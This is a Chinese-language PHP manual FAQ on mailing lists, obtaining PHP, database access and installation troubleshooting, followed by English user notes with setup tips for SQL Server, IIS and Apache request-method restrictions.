The most common reason folks have a hard time unsubscribing from our mailing lists is due to the use of mail forwarders. For example, if your email address is danbrown@example.com, but you subscribed to the mailing list with the forwarder php-lists@example.com and forward that to danbrown@example.com, attempting to unsubscribe danbrown@example.com will not work, as that address is not even known to our systems. Instead, you will need to unsubscribe the address to which the mail is being sent - in this example, php-lists@example.com.

在哪里有个邮件列表的归档吗？

是的，你可以在 » 技术支持页面找到归档站点的列表。 You will also find dozens of sites that archive and/or syndicate our mailing list content by using your favorite Internet search engine and searching for "php mailing list archives".

邮件列表的文章也被作为新闻组消息归档。你可以用新闻组客户端来访问位于 » news://news.php.net/的新闻组服务器。也有一个试验性质的新闻组服务器的 web 界面位于 » http://news.php.net/。

我可以在邮件列表中问什么？

由于 PHP 一天比一天更流行，php-general 邮件列表的流量增加到现在的每天 150 到 200 个帖子。由于此原因，为了每个人的利益，使用此列表是你在寻找过所有其它地方后的最后手段。

在你向列表发帖之前请先看看本 FAQ 以及手册是不是能找到帮助。如果找不到的话试试邮件列表归档（见上面）。如果你有安装或者配置 PHP 的问题请从头到尾读一遍所有包含的文档和 README 文件。如果还是不能找到任何可以帮助你的信息，那么很欢迎你使用此邮件列表。

To ensure that you receive the best responses (and to reduce the likelihood of frustrating your fellow developers), please be sure to post your question to the appropriate list. For example, if you are having difficulties installing PHP, you should send your question to the php-install mailing list. A caveat: some lists have similar names and completely different uses; a question regarding PHP scripts on Windows should be directed to the Windows PHP users list, not to the Windows Internals list.

在提问之前，阅读一下 » 怎样聪明地发问这篇文章对每个人都是个好主意。

向邮件列表发帖子时我需要包括些什么信息？

像"我不能启动运行 PHP！帮帮我！哪里出错了？"之类的贴子对任何人都完全没有用。如果你在启动和运行 PHP 上有问题你必须包括你运行的操作系统，你试图配置的 PHP 版本，你怎样得到的（预编译的，CVS，RPM 等等），目前为止你都做了些什么，卡在了何处以及确切的错误信息。

这也同样适用于其它问题。你必须包括你做了什么，卡在了哪里，你试图做什么以及，如果有的话，确切的错误信息。如果你有源代码的问题那你需要包括不起作用部分的代码。可是不要包括超出所必需的代码！这将使贴子很难读并使很多人为此而跳过它。如果你不确定应该在邮件中包括多少信息，那包括多一些比一点点更好。

另一件重要的事是记住在主题一行中概述你的问题。类似"救命！"或者"这是怎么回事？"的主题会被一大半读者忽略。

最后，我们鼓励你阅读一下 » 怎样聪明地发问这篇文章。这对每个人都有很大帮助，尤其是你自己。

User Contributed Notes

There are no user contributed notes for this page.


获取 PHP

本章包括 PHP 下载地址以及操作系统相关问题的详细资料。

  1. PHP 可以从哪里得到？
  2. 有预先编译好的可执行版本吗？
  3. 编译一些可选的 PHP 扩展库所需的库文件可以从哪里得到？
  4. 怎样使这些库起作用？
  5. 我在 Windows 机器中从 SVN 里得到了最新版的 PHP 源代码，需要什么去编译它？
  6. 哪里可以找到 browscap.ini 文件？
PHP 可以从哪里得到？

可以从任何一个 PHP 网络成员的站点下载 PHP。这些信息在 » https://www.php.net/。还可以通过匿名 SVN 得到绝对是最新版的源程序。更多信息请访问 [broken link]。

有预先编译好的可执行版本吗？

我们只为 Windows 系统提供了预编译的可执行文件，因为我们没法为每个主流的 Linux/Unix 平台编译每一种扩展库组和的 PHP。同样注意，如今很多 Linux 的发行版本已经内置了 PHP。Windows 可执行文件可以从我们的 » 下载页面下载，至于 Linux 可执行文件，请访问你的 Linux 发布商的站点。

编译一些可选的 PHP 扩展库所需的库文件可以从哪里得到？

Note: 有 * 号标记的不是多线程的库，不应该用作多线程 Windows web 服务器（IIS，Netscape）的服务器模块。不过这在 Unix 环境下没有关系。

  • » LDAP (Unix)
  • » LDAP (Unix/Win): Mozilla Directory (LDAP) SDK
  • » 免费 LDAP 服务器
  • » Berkeley DB2 (Unix/Win): http://www.sleepycat.com/.
  • » SNMP* (Unix):
  • » GD* (Unix/Win)
  • » mSQL* (Unix)
  • » PostgreSQL (Unix)
  • » IMAP* (Win/Unix)
  • » Sybase-CT* (Linux, libc5)：内置
  • » FreeType (libttf):
  • » ZLib (Unix/Win32)
  • » expat XML parser (Unix/Win32)
  • » PDFLib
  • » mcrypt
  • » mhash
  • » t1lib
  • » dmalloc
  • » aspell
  • » readline

怎样使这些库起作用？

需要按照这些库提供的说明进行。一些库可以在运行 PHP 的"configure"时自动检测到（例如 GD 库），其它的必需用" --with-EXTENSION"选项来激活。运行" configure --help"来得到完整的列表。

我在 Windows 机器中从 SVN 里得到了最新版的 PHP 源代码，需要什么去编译它？

首先，需要 Microsoft Visual C++ v6（v5 也许也行，不过我们是用 v6 编译的），此外还需要一些支持文件。参见手册中的 在 Windows 下编译 PHP 源代码一节。

哪里可以找到 browscap.ini 文件？

可以从 » http://browscap.org/得到一个 browscap.ini文件。

User Contributed Notes

There are no user contributed notes for this page.


数据库问题

本节包括 PHP 和数据库之间关系的常见问题。 事实上， PHP 可以访问如今现有的任何数据库。

  1. 听说 PHP 有可能访问 Microsoft SQL Server，怎样访问？
  2. 能访问 Microsoft Access 数据库吗？
  3. 为什么我已经使用了十多年的 MySQL 扩展（ext/mysql） 不建议继续使用了？ 它被废弃了吗？我应该选择什么替代方案？如何迁移到新的方案？
  4. 为什么我得到类似如下的错误： “Warning: 0 is not a MySQL result index in <file> on line <x>” 或者 “Warning: Supplied argument is not a valid MySQL result resource in <file> on line <x>”？
听说 PHP 有可能访问 Microsoft SQL Server，怎样访问？

在 Unix 机器中，你可以使用 PDO_ODBC 或者 Unified ODBC API 来访问 Microsoft SQL Server 数据库。

在 Windows 机器中，你可以使用 PDO_SQLSRV 或 SQLSRV 来访问 Microsoft SQL Server 数据库。

同时，也可以参考下一个问题。

能访问 Microsoft Access 数据库吗？

可以。如果完全在 Windows 9x/Me/NT/2000 下运行，那已经有了所有所需的工具， 可以用 ODBC 和 Microsoft's ODBC drivers for Microsoft Access database。

如果在 Unix 下运行 PHP 而想访问 Windows 中的 MS Access， 那需要 Unix ODBC 驱动程序。 » OpenLink Software 有一个基于 Unix 的 ODBC 驱动程序可以做这件事。

另外一个替代方案是用带 Windows ODBC 驱动的 SQL Server 并用它来储存数据， 可以通过 Microsoft Access（用 ODBC）和 PHP（用内置驱动）来访问， 或者用一个 Access 和 PHP 都识别的中间文件格式， 例如 flat 文件或者 dBase 数据库。 关于这一点 OpenLink Software 的 Tim Hayes 写道：

当可以通过 ODBC 直接从 PHP 访问数据库时——例如用 OpenLink 的驱动程序， 使用其它数据库做中间媒介不是一个好主意。 如果确实需要一个中间文件格式， OpenLink 已经发布了对应于 Windows NT，Linux 和其它 Unix 平台的 Virtuoso（一个虚拟数据库引擎）。 请访问我们的 » 网站来免费下载。

还有一个已被证实有效的选择是在 Windows 下用 MySQL 和它的 MyODBC 驱动来同步数据库。 Steve Lawrence 写道：

  • 根据 MySQL 的说明在你的平台上安装 MySQL。可以从 » http://www.mysql.com/得到最新版。 除了设定数据库和配置用户帐号以外不需要特殊的配置， 应该在 host 字段中放一个 % 或者要用来访问 MySQL 的 Windows 机器名。 记下自己的服务器名， 用户名和密码。
  • 从 MySQL 网站下载 MyODBC for Windows 驱动程序。 在你的 Windows 机器中安装它。 可以用此程序中包括的工具来测试其操作。
  • 用控制面板中的 ODBC 管理器新建一个用户或系统 dsn， 设定 dsn 名称， 输入你在第一步中配置的 MySQL 数据库的主机名，用户名，密码，端口等。
  • 完整安装 Access， 这样可以确保得到适当的插件... 至少需要安装 ODBC 支持和连接表管理器。
  • 新建一个 Access 数据库。 在 Table 窗口点击右键并选择 Link Tables， 或者在 File 菜单下选择 Get External Data -> Link Tables。 当文件浏览窗口打开后，选择文件类型为：ODBC。 接着选择 System dsn 以及在第三步建立的 dsn 的名字。 再选择要连接的表，点击 OK。 现在你可以在你的 MySQL 服务器中打开表并新建／删除／编辑数据了！ 也可以构造查询，导入／导出表到 MySQL，构造表单和报告等。

提示与技巧：

  • 可以在 Access 中构造表并导出到 MySQL 中， 再把它们连接回来。 这样可以使表的建立更快。
  • 在 Access 中建立表时， 必需定义一个基本键名来取得表的写权限。 确认在把表连接到 Access 之前在 MySQL 中建立了基本键名。
  • 如果在 MySQL 中修改了表， 必须重新连接到 Access。 打开 Tools>Add-ins>Linked table manager， 找到你的 ODBC DSN，然后在这里选择要重新连接的表。 也可以在这里移动 dsn 源， 在点击 OK 之前选中 "always prompt for new location"。

为什么我已经使用了十多年的 MySQL 扩展（ext/mysql） 不建议继续使用了？ 它被废弃了吗？我应该选择什么替代方案？如何迁移到新的方案？

在 选择一种 MySQL API 一节中 描述了 3 中 MySQL 扩展。 不应该继续使用旧的 API 了，可能将来的某一天旧 API 就会被废弃甚至从 PHP 中移除。 当然，旧的 API 曾经是非常主流的，很多用户都用了它，所以这个被废弃及移除的过程不会太快。 但是仍然强烈建议使用 mysqli 或 PDO_MySQL 来访问 MySQL 数据库。

自动迁移脚本目前还没有。 mysqli API 包括了面向过程和面向对象的两种风格的调用方式，并且面向过程的版本中提供的 API 和 ext/mysql 是非常相似的。

不可以同时混合使用这几种 MySQL API。 例如，你不可以把一个 mysqli 的连接资源传入到 PDO_MySQL 或者 ext/mysql 中去使用。

为什么我得到类似如下的错误： "Warning: 0 is not a MySQL result index in <file> on line <x>" 或者 "Warning: Supplied argument is not a valid MySQL result resource in <file> on line <x>"？

你试图用一个值为 0 的结果资源号。 0 表示你的查询由于某原因失败了， 需要在提交查询之后 和在使用返回结果资源号之前检查错误。 正确的方法是用类似如下的代码：

<?php

$result = mysql_query("SELECT * FROM tables_priv");
if (!$result) {
    echo mysql_error();
    exit;
}
?>
或者
<?php

$result = mysql_query("SELECT * FROM tables_priv")
    or die("Bad query: " . mysql_error());
?>

User Contributed Notes

doug at unlikelysource dot com 31-Mar-2017 08:53
To enable SQL Server access from ubuntu 16.04:

* Run these commands:
```
sudo curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list > mssql-release.list
sudo mv mssql-release.list /etc/apt/sources.list.d
sudo apt-get update
sudo ACCEPT_EULA=Y apt-get install msodbcsql unixodbc-dev
sudo apt-get install php7.1-dev
sudo apt-get install autoconf
sudo pecl install pdo_sqlsrv-4.1.6.1
```

*  Confirm ODBC driver installation:
```
odbcinst -q -d -n "ODBC Driver 13 for SQL Server"
```

* Update the php.ini file: run` php --ini` to find the path to your php.ini file
* Add this line to /path/to/php.ini
```
extension=pdo_sqlsrv.so
```
* Run `php -i` to confirm SQLSRV support was added
* NOTE: extensions (on my computer) were installed here:
`/usr/local/lib/php/extensions/no-debug-non-zts-20160303/`

* Test user access directly on the Windows server running MSSQL:
```
sqlcmd -S ip_address -U username -P password -d database -q "select * from table_name"
```
* On the Windows server: open port 1433 in your firewall

* Install the FreeTds utils to test the connection:
```
sudo apt-get install freetds-bin
tsql -H mssql.host.ip.address -U username -P password -D database -p 1433
```

* Formulate the correct DSN (Data Source Name):
    See: http://php.net/manual/en/ref.pdo-sqlsrv.connection.php

* Sample PHP Code:
```
<?php
// Database params
$tcp  = '192.168.3.126';
$port = 1433;
$user = "test";
$password = "Password123";
$database = "test";

// Open connection
try {
    // Database connect -- use one of the two statements below
    $dsn =  'sqlsrv:Server=tcp:' . $tcp . ',' . $port . ';Database=' . $database;
    $dbh = new PDO( $dsn, $user, $password, array());
    // SQL prepare
    $sql = "SELECT * FROM prospects";
    $sth = $dbh->prepare($sql);
    // Execute
    $sth->execute();
    // Fetch results
    $row = $sth->fetch(PDO::FETCH_ASSOC);
    if ($row) {
        $output = '<pre>';
        $output .= implode("\t", array_keys($row)) . PHP_EOL;
        $output .= implode("\t", $row) . PHP_EOL;
        while ($row = $sth->fetch(PDO::FETCH_NUM)) {
            $output .= implode("\t", $row) . PHP_EOL;
        }
    }
} catch (PDOException $e) {
    $output .= $e->getMessage();
}
$output .= '</pre>';
echo $output;
```
knb at gfz-potsdam dot de 11-Oct-2004 02:53
This is a crucial piece of information for SYBASE users:

If you are using the free, but old, 11.x client libs from sybase,
 then compile with option  "--with-sybase-ct=$SYBASE"
substitute $SYBASE with the appropriate directory name.

option --with-sybase (without ct) can somehow be used to talk to old MS-SQL servers, but only with the 11.x client libs.

If you are using free, or have legally obtained, 12.x client libs from sybase, then compile with option  "--with-sybase-ct=$SYBASE/$SYBASE_OCS"
substitute $SYBASE/$SYBASE_OCS with the appropriate directory name.


安装常见问题

本章包括了安装 PHP 的常见问题。PHP 可以用于几乎任何操作系统（可能除了 OS X 之前的 MacOS 之外），以及几乎任何 web 服务器。

要安装 PHP，请按照 安装与配置一章中的指示进行。

  1. 为什么不应该在实际运作环境中的 Apache2 中使用线程化的 MPM？
  2. Unix/Windows：应该上哪儿去找我的 php.ini 文件？
  3. Unix：我安装了 PHP，但每次我打开一个页面时，只得到一条“Document Contains No Data”消息！这是怎么回事？
  4. Unix：我从 RPMS 安装了 PHP，但是 Apache 不处理 PHP 页面！这是怎么回事？
  5. Unix：我从 RPMS 安装了 PHP 3，但它没有把我需要的数据库支持编译进去！这是怎么回事？
  6. Unix：我给 Apache 加上了 FrontPage extensions 补丁，结果 PHP 突然不工作了。PHP 和 Apache FrontPage extensions 兼容吗？
  7. Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个空白页面。
  8. Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个服务器的 500 错误。
  9. 某些操作系统：我已经在不出错的情况下安装了 PHP，但当我试着启动 Apache 时得到了一个未定义符号错误： [mybox:user /src/php4] root# apachectl configtest apachectl: /usr/local/apache/bin/httpd Undefined symbols: _compress _uncompress
  10. Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到如下错误： cgi error: The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
  11. Windows：我已经照着所有的说明做了，但还是不能让 PHP 和 IIS 一起工作！
  12. 当在 IIS，PWS，OmniHTTPD 或者 Xitami 中以 CGI 方式运行 PHP 时，出现如下错误： Security Alert! PHP CGI cannot be accessed directly..
  13. 怎样得知我的 php.ini 是否被找到和应用了？似乎我做的修改都没有生效。
  14. 怎样将 PHP 目录加入到 Windows 路径 PATH中去？
  15. 怎样使 php.ini 文件在 Windows 下被 PHP 所用？
  16. 有可能使 PHP 运作于 Apache 的 content negotiation（MultiViews 选项）吗？
  17. PHP 是否仅限于处理 GET 和 POST 请求方法？
为什么不应该在实际运作环境中的 Apache2 中使用线程化的 MPM？

PHP 是粘合剂。它将几十种第三方的库粘合到一起来创建很酷的 web 应用，并通过很直观且易于学习的语言界面使其看上去好像一个整体。PHP 的灵活与强大依赖于底层平台的稳定与耐用。起码需要将一个可运作的操作系统，一个可运作的 web 服务器以及可运作的第三方库粘合起来。其中任何一方不运作了，PHP 都需要有方法来识别出问题并且快速解决。如果没有完全独立的执行线程，完全独立的内存单元和稳定的空间对付每个请求，那底层架构就太复杂以至于不稳定因素更容易进入到 PHP 系统中。

如果必须要用线程化的 MPM，看看 FastCGI 配置，使 PHP 运行于自己独立的内存空间中。

最后需要指出，不使用线程化 MPM 的警告在 Windows 系统中没那么强烈，因为 Windows 中的大多数库都理应在多线程下安全运行。

Unix/Windows：应该上哪儿去找我的 php.ini 文件？

UNIX 中默认在 /usr/local/lib目录中，也就是 <install-path>/lib。很多人会在编译时通过 --with-config-file-path标记来改变路径。例如可以将路径设为：

--with-config-file-path=/etc
然后从发行包中将 php.ini-dist拷贝为 /etc/php.ini并编辑它来作出想要的修改。

--with-config-file-scan-dir=PATH

Windows 中 php.ini 文件的默认路径在 Windows 目录下。如果使用的是 Apache 服务器，则会首先在 Apache 的安装目录中寻找 php.ini，例如 C:\Program Files\Apache Group\Apache。这样同一台机器上不同版本的 Apache 就可以有不同的 php.ini 文件。

参见 配置文件。

Unix：我安装了 PHP，但每次我打开一个页面时，只得到一条"Document Contains No Data"消息！这是怎么回事？

这可能意味着 PHP 发生了某类错误而导致了 core dump。查看服务器的错误日志看看是不是这样，再用一个小的测试例子试着重现此问题。如果你会用"gdb"的话，那么在 bug 报告中提供回溯跟踪很有助于帮开发人员查明问题。如果你用 Apache 的模块方式使用 PHP，试着这么做：

  • 停止 httpd 进程

  • gdb httpd

  • 停止 httpd 进程

  • > run -X -f /path/to/httpd.conf

  • 然后在你的浏览器中访问导致错误的 URL

  • > run -X -f /path/to/httpd.conf

  • 如果你遇到 core dump，gdb 此时就会通知你

  • 输入：bt

  • 你应该在 bug 报告中包括回溯追踪记录。应该提交到 » https://bugs.php.net/

如果你的脚本使用了正则表达式函数（ ereg()等），应该确认在编译 PHP 和 Apache 时使用了同一个正则表达式包。在 PHP 和 Apache 1.3.x 中应该自动就是这样。

Unix：我从 RPMS 安装了 PHP，但是 Apache 不处理 PHP 页面！这是怎么回事？

假定你的 Apache 和 PHP 都是从 RPM 包中安装的，你需要在 httpd.conf 文件中取消以下部分或所有行的注释，或者把它们添加到该文件中：

# Extra Modules
AddModule mod_php.c
AddModule mod_php3.c
AddModule mod_perl.c

# Extra Modules
LoadModule php_module         modules/mod_php.so
LoadModule php3_module        modules/libphp3.so     # for PHP 3
LoadModule php4_module        modules/libphp4.so     # for PHP 4
LoadModule perl_module        modules/libperl.so
并且把：
AddType application/x-httpd-php3 .php3    # for PHP 3
AddType application/x-httpd-php .php      # for PHP 4
添加到全局属性中，或者添加到你希望加入 PHP 支持的虚拟域中。

Unix：我从 RPMS 安装了 PHP 3，但它没有把我需要的数据库支持编译进去！这是怎么回事？

由于 PHP 3 构造的原因，不容易编译出一个完全灵活的 PHP RPM 包来。这个问题在 PHP 4 中解决了。对于 PHP 3 来说，我们目前建议你用 PHP 发行包中 INSTALL.REDHAT 文件中所描述的机制。如果你坚持要用 PHP 3 的 RPM 版本，请接着往下看。

为了简化安装 以及由于 RPMS 使用了 /usr/ 而不是标准的 /usr/local/ 目录来存放文件，制作 RPM 包的人设定 RPMS 不安装任何数据库支持。你需要告诉 RPM 说明文件，你想要支持哪个数据库以及你的数据库服务器最高层路径。

下面的例子解说了如何在用模块安装下的 Apache 中加入流行的 MySQL 数据库服务器支持的过程。

当然这些信息可以调整用于任何 PHP 支持的数据库服务器。本例中我们也假定你从 RPMS 中完整安装了 MySQL 和 Apache。

  • 先去掉 mod_php3：

    rpm -e mod_php3

  • 然后取得源文件的 rpm 包并安装它，而不是编译它。

    rpm -Uvh mod_php3-3.0.5-2.src.rpm

  • 接着编辑 /usr/src/redhat/SPECS/mod_php3.spec文件

    在 %build 一节加入你想要的数据库支持，以及路径。

    对应于 MySQL 你应该加入 --with-mysql=/usr 。则 %build 一节看上去将类似这样：

    ./configure --prefix=/usr \ --with-apxs=/usr/sbin/apxs \ --with-config-file-path=/usr/lib \ --enable-debug=no \ --enable-safe-mode \ --with-exec-dir=/usr/bin \ --with-mysql=/usr \ --with-system-regex

  • 一旦完成了这个修改，就这样建立二进制程序的 rpm 包：

    rpm -bb /usr/src/redhat/SPECS/mod_php3.spec

  • 然后安装 rpm

    rpm -ivh /usr/src/redhat/RPMS/i386/mod_php3-3.0.5-2.i386.rpm

确认重新启动了 Apache，这下你就有了用 RPM 安装的并且带 MySQL 支持的 PHP 3 了。注意按照 PHP 3 发行包中 INSTALL.REDHAT文件的说明来编译其实也许更容易一些。

Unix：我给 Apache 加上了 FrontPage extensions 补丁，结果 PHP 突然不工作了。PHP 和 Apache FrontPage extensions 兼容吗？

兼容的。PHP 可以和 FrontPage extensions 一起工作，问题是 FrontPage 补丁修改了几个 PHP 依赖的 Apache 构造。在 FrontPage 补丁安装之后之后重新编译 PHP（用"make clean ; make"）可以解决此问题。

Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个空白页面。

用浏览器中的"查看源文件"，你可能会发现能看到 PHP 脚本的源程序。这意味着 web 服务器没有把脚本发送给 PHP 解释。服务器配置在某处有问题，请对照 PHP 安装说明仔细检查服务器配置。

Unix/Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到了一个服务器的 500 错误。

当服务器尝试运行 PHP 时出了错。要想看到有意义的错误信息，在命令行中转到 PHP 可执行程序（Windows 中是 php.exe）所在目录下并运行 php -i。如果 PHP 运行有任何问题，那么会显示相应的错误信息，这将给你下一步要做什么的线索。如果你得到满屏幕 HTML 代码（ phpinfo()函数的输出）的话说明 PHP 本身工作正常，你的问题可能和你的服务器配置有关，要仔细检查。

某些操作系统：我已经在不出错的情况下安装了 PHP，但当我试着启动 Apache 时得到了一个未定义符号错误：
[mybox:user /src/php4] root# apachectl configtest apachectl: /usr/local/apache/bin/httpd Undefined symbols: _compress _uncompress

这实际上和 PHP 没有关系，而和 MySQL 的客户端库有关。有的需要 --with-zlib ，有的不需要。这个问题也包括在 MySQL 的 FAQ 中。

Windows：我已经安装了 PHP，但当我试着通过浏览器访问 PHP 脚本时，得到如下错误：
cgi error: The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

这个错误信息意味着 PHP 根本就不能产生任何输出。要想看到有意义的错误信息，在命令行中转到 PHP 可执行程序（Windows 中是 php.exe）所在目录下并运行 php -i。如果 PHP 运行有任何问题，那么会显示相应的错误信息，这将给你下一步要做什么的线索。如果你得到满屏幕 HTML 代码（ phpinfo()函数的输出）的话说明 PHP 本身工作正常。

一旦 PHP 在命令行中工作正常，试着通过浏览器再次访问脚本。如果还失败的话那可能是如下原因之一：

  • 文件权限问题，你的 PHP 脚本， php.exe， php4ts.dll，php.ini 或任何你要加载的 PHP 扩展库是匿名 internet 用户 ISUR_<machinename>无权访问的。
  • 脚本文件不存在（或者有可能不在你以为的地方，注意 web 文档的目录）。注意在 IIS 中通过 Internet 服务管理器设定脚本映射时选中"检查文件是否存在"可以捕捉到此错误。这样一来如果脚本文件不存在的话服务器就会返回一个 404 错误信息。还有一个额外的好处就是 IIS 会基于 NTLanMan 权限来替你对脚本文件做任何所需要的认证。
Windows：我已经照着所有的说明做了，但还是不能让 PHP 和 IIS 一起工作！

确认需要运行 PHP 脚本的任何用户有权限运行 php.exe！IIS 使用了一个在安装 IIS 时添加的匿名用户，这个用户需要有访问 php.exe的权限。同样任何认证用户也需要执行 php.exe的权限。在 IIS4 中你还需要告诉它 PHP 是一个脚本引擎。此外，你可能还需要阅读 此常见问题。

当在 IIS，PWS，OmniHTTPD 或者 Xitami 中以 CGI 方式运行 PHP 时，出现如下错误： Security Alert! PHP CGI cannot be accessed directly..

必须将 cgi.force_redirect选项设为 0。 默认值为 1，因此要确认此选项没有被注释掉（用 ;）。和其它选项一样，是在 php.ini 中设定的。

因为默认值是 1，因此你必须百分之百确认使用了正确的 php.ini 文件。详细信息请阅读 此常见问题。

怎样得知我的 php.ini 是否被找到和应用了？似乎我做的修改都没有生效。

要确认你的 php.ini 被 PHP 使用了，调用 phpinfo()，在接近开头的位置有一项叫做 Configuration File (php.ini)。这里将告诉你 PHP 在哪里找到了 php.ini 并且是否使用了。如果只显示一个目录则 没有使用任何 php.ini 文件，你应将你的 php.ini 文件放到该目录中。如果 php.ini 包括在该路径中则它已被应用了。

如果 php.ini 被使用了并且你是以模块方式运行 PHP 的，确保在修改了 php.ini 之后重新启动你的 web server。

怎样将 PHP 目录加入到 Windows 路径 PATH中去？

在 Windows NT，2000，XP 和 2003 下：

  • 进入控制面板并打开"系统"图标（开始 -> 设置 -> 控制面板 -> 系统，Windows XP/2003 中是：开始 -> 控制面板 -> 系统）

  • 选择"高级"标签页

  • 点击"环境变量"按钮

  • 在"系统变量"栏中

  • 找到 Path 这一项（可能需要向下滚动才能找到）

  • 鼠标双击 Path 这一项

  • 在最后加入你的 PHP 目录，包括前面的";"（例如： ;C:\php）

  • 点击"确定"并重新启动电脑

在 Windows 98/Me 中需要编辑 autoexec.bat文件：

  • 打开记事本（开始 -> 运行，然后输入 notepad 并点确定）

  • 打开 C:\autoexec.bat文件

  • 找到这么一行：PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;..... 并在最后加上 ;C:\php

  • 保存文件并重新启动电脑

Note: 记住在上述修改之后重新启动，以确保对 PATH的改变生效。

PHP 手册过去提倡把文件拷贝到 Windows 系统目录中去，这是因为该目录（ C:\Windows， C:\WINNT，等等）默认就在系统路径中。但是把文件拷贝到 Windows 系统目录中这一方式早已不被提倡，还可能造成问题。

怎样使 php.ini 文件在 Windows 下被 PHP 所用？

有几种方法。如果使用 Apache，阅读专门的安装指示（ Apache 1， Apache 2），否则就必须设定 PHPRC环境变量：

在 Windows NT，2000，XP 和 2003 种：

  • 进入控制面板并打开"系统"图标（开始 -> 设置 -> 控制面板 -> 系统，Windows XP/2003 中是：开始 -> 控制面板 -> 系统）

  • 选择"高级"标签页

  • 点击"环境变量"按钮

  • 在"系统变量"栏中

  • 点击"新建"按钮并在"变量名"中输入"PHPRC"，在"变量值"中输入 php.ini 文件所在的目录（例如： C:\php）

  • 点击"确定"并重新启动电脑

在 Windows 98/Me 中需要编辑 autoexec.bat文件：

  • 打开记事本（开始 -> 运行，然后输入 notepad 并点确定）

  • 打开 C:\autoexec.bat文件

  • 在文件结尾处加入一行： set PHPRC=C:\php（将 C:\php替换为你的 php.ini 实际存在的目录）。注意路径中不能包含空格。例如将 PHP 安装到了 C:\Program Files\PHP中，你需要输入 C:\PROGRA~1\PHP替代之

  • 保存文件并重新启动电脑

有可能使 PHP 运作于 Apache 的 content negotiation（MultiViews 选项）吗？

如果到 PHP 文件的连接包含扩展名，一切都运行完美。本解答只针对到 PHP 文件的连接不包含扩展名时，而希望通过 content negotiation 来从不包含扩展名的 URL 来选择 PHP 文件的情况。在此种情况下，将 AddType application/x-httpd-php .php替换为：

# PHP 4
AddHandler php-script php
AddType text/html php

# PHP 5
AddHandler php5-script php
AddType text/html php
此方案对于 Apache 1 不适用，因为 PHP 模块不捕获 php-script。

PHP 是否仅限于处理 GET 和 POST 请求方法？

不是，PHP 有可能处理任何请求方法，例如 CONNECT。适当的回应状态可以用 header()发送。如果仅需要处理 GET 和 POST 方法，可以通过如下的 Apache 配置实现：

<LimitExcept GET POST>
Deny from all
</LimitExcept>

User Contributed Notes

ssaxena at nriol dot com 12-Mar-2010 02:28
Here are my struggle to get PHP 5.2.12 working on Windows XP SP3, IIS 5.1 (Please note Win XP SP3 has issue of FastCGI)

1. Dowloaded installer and installed in C:\Program Files\PHP as ISAPI module

---->Did not work

Added php5isapi.dll in ISAPI Filter and added the extension .php in Home Dir->Configuration
(For every setting change restarted IIS on cmd->iisreset)

---->Did not work

(And the Google was pointing to the Fast CGI issue; Don't know why microsoft has MS-FAST ! )
Uninstalled the PHP and cleaned up the folders, PATH environment variable & PHPRC, the IIS settings and registry entries and shut down(restart is different from shut down) the system to make it very clean

2. Reinstalled the PHP in C:\PHP as ISAPI and did the same as above in IIS
(For every setting change restarted IIS on cmd->iisreset)

---->Did not work

Uninstalled and cleaned up same as above and took a breath to make sure what I am doing wrong.
Shutdown the system.

3. Unzipped the php-5.2.12-Win32.zip and did the same as above (this time manually PATH variable and security permission for the PHP folder and following settings)

short_open_tag = On
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
doc_root = "C:\Inetpub\wwwroot"
extension_dir = "C:\PHP\ext"
cgi.force_redirect = 0

---->Did not work

Uninstalled and cleaned up same as above
Shutdown the system.

4. Downloaded Microsoft Web Platform Installer 2.0 and select the PHP+Fast CGI+Windows Cache for PHP extension and Web Deployment Tools
restarted the system to take effect the settings

---->Did not work

Uninstalled and cleaned up same as above
Shutdown the system

5. Took the prev version of PHP php-5.2.4-Win32.zip unzip the folder and did the following changes:

short_open_tag = On
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
doc_root = "C:\Inetpub\wwwroot"
extension_dir = "C:\PHP\ext"
cgi.force_redirect = 0

set the security permission as IIS_machinename with full access to the C:\PHP folder

------->IT GOT WOKRING

Hope people would be aware of php-5.2.12 and would love the php-5.2.4
john dot calder at manukau dot ac dot nz 03-May-2008 10:19
WINDOWS 2003 and IIS.  BIG LESSON FOR ME was "don't mess with the optional components".
I had lots of trouble until I tried installing without asking for extras and then it was very smooth.
I have found no need to set up paths.
I have found no need to configure IIS.
I have found no need to change security on the PHP folder.

What works for me with Windows/IIS:

1.  You need to be logged-on as "administrator"

2.  Run  "php-5.2.6-win32-installer.msi"
Your ONLY action during this wizard is to select "IIS ISAPI" as the webserver.  Do NOT CHANGE anything else!  I am guessing that the optional extras apply only to Apache because after enabling them I see Apache-related error messages.

3.  Setup a test virtual directory as you would for an ASP or ASP.NET web app.  eg "phptest"
Then use notepad to create a test page eg "test.php"
<?php
phpinfo();
?>

4.  In Internet Explorer, test with eg this address
http://localhost/phptest/test.php

IF this does not give you a beautiful page of details THEN start reading other advice on this page - especially helpful for me was the faq advice to test run "php.exe -i" from the command prompt.
charleslynch at xybersoftware dot com 17-Apr-2008 07:30
One final note to the message below if you are getting the message about not having rights to execute...You need to use IIS right click on the website and choose 'Properties/Home Directory' then on the 'Execute Permissions' combo box you need to choose 'Scripts only'...Click ok...another dialog may appear asking which directories to apply the action too...choose any directories that you intend on using php in and click ok...It should work now...
joerg at fenin dot de 02-Nov-2007 02:35
To limit HTTP Request Methods on the Apache server running PHP you should use mod_rewrite or mod_security instead of LimitExcept, to give you more control over the handling of such http errors.  Can go in .htaccess file or httpd.conf

# mod_rewrite
<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|POST)$
  RewriteRule .* - [F,L]
</IfModule>

# mod_security
<IfModule mod_security.c>
  SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST)$" "deny,log,status:403"
</IfModule>

You can use the php request method scanner at askapache to see exactly how your server deals with various request methods, and check that your server is configured properly..

http://www.askapache.com/online-tools/request-method-scanner/
scott at chaisson dot net 19-Sep-2007 09:18
